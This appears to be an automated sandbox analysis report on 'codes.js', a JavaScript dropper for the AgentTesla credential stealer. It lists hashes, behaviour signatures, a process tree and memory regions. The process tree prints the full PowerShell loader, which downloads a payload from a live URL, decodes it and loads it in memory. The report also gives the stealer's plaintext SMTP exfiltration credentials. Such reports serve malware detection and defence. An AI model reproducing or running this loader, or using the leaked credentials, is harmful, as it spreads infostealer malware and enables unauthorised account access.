Analysis

  • max time kernel
    115s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-01-2025 15:44

General

  • Target

    codes.js

  • Size

    73KB

  • MD5

    99ea1ce1d4123a7538e0810d2bb919b8

  • SHA1

    ec8ee7dc4ea3ce0045f1a6569b945f586aeaf7cf

  • SHA256

    f6f06d960291d57697aaba85675aad68e6c677b91ef42d1a04ad84a3e9b54a30

  • SHA512

    210cf92fc65479b91a2874b60b14bf599a356a392c066f41501d571e8182fc2eb938217be20fdf6196d7cb20e53bb90698509b2c16c7e5c0ad630aa930cb939b

  • SSDEEP

    1536:y54izQ6VsYh/t5MKvJIp4LkWnwK7mMcAtRwK9t:yRzQ6V1/vVld

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/drqpeaaky/image/upload/v1737456477/b6fxidzmtogras7c2a5j.jpg%20

exe.dropper

https://res.cloudinary.com/drqpeaaky/image/upload/v1737456477/b6fxidzmtogras7c2a5j.jpg%20

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    novida.com.br
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    joymywife12345PT

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\codes.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = 'K3YVb/sr.e#sap//:sp##h';$restoredText = $originalText -replace '#', 't';$moralizer = 'https://res.cloudinary.com/drqpeaaky/image/upload/v1737456477/b6fxidzmtogras7c2a5j.jpg ';$carmaker = New-Object System.Net.WebClient;$jhoom = $carmaker.DownloadData($moralizer);$dialogues = [System.Text.Encoding]::UTF8.GetString($jhoom);$roily = '<<BASE64_START>>';$fugues = '<<BASE64_END>>';$noncatalog = $dialogues.IndexOf($roily);$documentarist = $dialogues.IndexOf($fugues);$noncatalog -ge 0 -and $documentarist -gt $noncatalog;$noncatalog += $roily.Length;$modifier = $documentarist - $noncatalog;$Indianization = $dialogues.Substring($noncatalog, $modifier);$acetifications = -join ($Indianization.ToCharArray() | ForEach-Object { $_ })[-1..-($Indianization.Length)];$romalea = [System.Convert]::FromBase64String($acetifications);$resend = [System.Reflection.Assembly]::Load($romalea);$jickajog = [dnlib.IO.Home].GetMethod('VAI');$jickajog.Invoke($null, @($restoredText, 'glistens', 'glistens', 'glistens', 'RegAsm', 'glistens', 'glistens','glistens','glistens','glistens','glistens','glistens','1','glistens','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4300
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        3⤵
          PID:4348
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          3⤵
            PID:228
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4448

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_54tb4kdz.oqc.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4300-17-0x0000014DBAA00000-0x0000014DBAB5A000-memory.dmp

        Filesize

        1.4MB

      • memory/4300-21-0x00007FFBAC560000-0x00007FFBAD021000-memory.dmp

        Filesize

        10.8MB

      • memory/4300-12-0x00007FFBAC560000-0x00007FFBAD021000-memory.dmp

        Filesize

        10.8MB

      • memory/4300-13-0x00007FFBAC560000-0x00007FFBAD021000-memory.dmp

        Filesize

        10.8MB

      • memory/4300-1-0x00007FFBAC563000-0x00007FFBAC565000-memory.dmp

        Filesize

        8KB

      • memory/4300-15-0x00007FFBAC560000-0x00007FFBAD021000-memory.dmp

        Filesize

        10.8MB

      • memory/4300-2-0x0000014DA9B60000-0x0000014DA9B82000-memory.dmp

        Filesize

        136KB

      • memory/4300-16-0x00007FFBAC560000-0x00007FFBAD021000-memory.dmp

        Filesize

        10.8MB

      • memory/4300-14-0x00007FFBAC563000-0x00007FFBAC565000-memory.dmp

        Filesize

        8KB

      • memory/4448-18-0x0000000000400000-0x0000000000444000-memory.dmp

        Filesize

        272KB

      • memory/4448-22-0x0000000005A30000-0x0000000005FD4000-memory.dmp

        Filesize

        5.6MB

      • memory/4448-23-0x00000000053E0000-0x0000000005446000-memory.dmp

        Filesize

        408KB

      • memory/4448-24-0x0000000006950000-0x00000000069A0000-memory.dmp

        Filesize

        320KB

      • memory/4448-25-0x0000000006A40000-0x0000000006ADC000-memory.dmp

        Filesize

        624KB

      • memory/4448-26-0x0000000006AE0000-0x0000000006B72000-memory.dmp

        Filesize

        584KB

      • memory/4448-27-0x0000000006A00000-0x0000000006A0A000-memory.dmp

        Filesize

        40KB